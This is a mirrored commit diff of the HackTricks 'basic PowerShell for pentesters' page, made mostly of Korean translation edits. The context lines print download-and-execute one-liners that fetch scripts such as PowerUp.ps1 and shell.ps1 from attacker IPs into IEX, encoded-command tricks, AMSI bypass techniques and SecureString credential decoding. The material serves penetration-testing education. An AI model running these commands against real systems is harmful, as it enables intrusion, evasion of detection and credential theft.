mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM
This commit is contained in:
		
							parent
							
								
									e4a59459ac
								
							
						
					
					
						commit
						2323c20e9b
					
				@ -18,7 +18,6 @@ Get-Command -Module <modulename>
 | 
			
		||||
```
 | 
			
		||||
## 다운로드 및 실행
 | 
			
		||||
```powershell
 | 
			
		||||
g
 | 
			
		||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
 | 
			
		||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
 | 
			
		||||
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
 | 
			
		||||
@ -65,11 +64,11 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
 | 
			
		||||
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
 | 
			
		||||
PS> powershell -EncodedCommand <Base64>
 | 
			
		||||
```
 | 
			
		||||
## [Execution Policy](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
 | 
			
		||||
## [실행 정책](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
 | 
			
		||||
 | 
			
		||||
## [Constrained language](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
 | 
			
		||||
## [제한된 언어](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
 | 
			
		||||
 | 
			
		||||
## [AppLocker Policy](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
 | 
			
		||||
## [앱 잠금 정책](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
 | 
			
		||||
 | 
			
		||||
## WinRM (원격 PS) 활성화
 | 
			
		||||
```powershell
 | 
			
		||||
@ -117,7 +116,7 @@ ValueData : 0
 | 
			
		||||
 | 
			
		||||
**`amsi.dll`**는 **귀하의 프로세스에 로드**되며, 모든 애플리케이션이 상호작용할 수 있는 필요한 **내보내기**를 가지고 있습니다. 그리고 프로세스의 메모리 공간에 로드되기 때문에 **제어하는** 경우, **메모리의 명령어를 덮어씀으로써** 그 동작을 변경할 수 있습니다. 이를 통해 아무것도 감지하지 않게 만들 수 있습니다.
 | 
			
		||||
 | 
			
		||||
따라서 AMSI 우회의 목표는 **감지를 무용하게 만들기 위해 메모리에서 해당 DLL의 명령어를 덮어쓰는 것입니다**.
 | 
			
		||||
따라서 사용하게 될 AMSI 우회의 목표는 **감지를 무용하게 만들기 위해 메모리에서 해당 DLL의 명령어를 덮어쓰는 것입니다**.
 | 
			
		||||
 | 
			
		||||
**AMSI 우회 생성기** 웹 페이지: [**https://amsi.fail/**](https://amsi.fail/)
 | 
			
		||||
```powershell
 | 
			
		||||
@ -168,7 +167,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
 | 
			
		||||
 | 
			
		||||
Check [**this post for detailed info and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduction:
 | 
			
		||||
 | 
			
		||||
이 새로운 기술은 .NET 메서드의 API 호출 후킹에 의존합니다. .NET 메서드는 메모리에서 네이티브 머신 명령어로 컴파일되어 네이티브 메서드와 매우 유사하게 보입니다. 이러한 컴파일된 메서드는 프로그램의 제어 흐름을 변경하기 위해 후킹될 수 있습니다.
 | 
			
		||||
이 새로운 기술은 .NET 메서드의 API 호출 후킹에 의존합니다. .NET 메서드는 메모리에서 네이티브 머신 명령어로 컴파일되어 네이티브 메서드와 매우 유사하게 보입니다. 이러한 컴파일된 메서드는 프로그램의 제어 흐름을 변경하기 위해 후킹할 수 있습니다.
 | 
			
		||||
 | 
			
		||||
.NET 메서드의 API 호출 후킹을 수행하는 단계는 다음과 같습니다:
 | 
			
		||||
 | 
			
		||||
@ -227,6 +226,8 @@ $shell = New-Object -com shell.application
 | 
			
		||||
$rb = $shell.Namespace(10)
 | 
			
		||||
$rb.Items()
 | 
			
		||||
```
 | 
			
		||||
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
 | 
			
		||||
 | 
			
		||||
## 도메인 재조사
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -238,7 +239,7 @@ powerview.md
 | 
			
		||||
Get-LocalUser | ft Name,Enabled,Description,LastLogon
 | 
			
		||||
Get-ChildItem C:\Users -Force | select Name
 | 
			
		||||
```
 | 
			
		||||
## 보안 문자열을 일반 텍스트로 변환하기
 | 
			
		||||
## 보안 문자열을 일반 텍스트로 변환
 | 
			
		||||
```powershell
 | 
			
		||||
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
 | 
			
		||||
$user = "HTB\Tom"
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user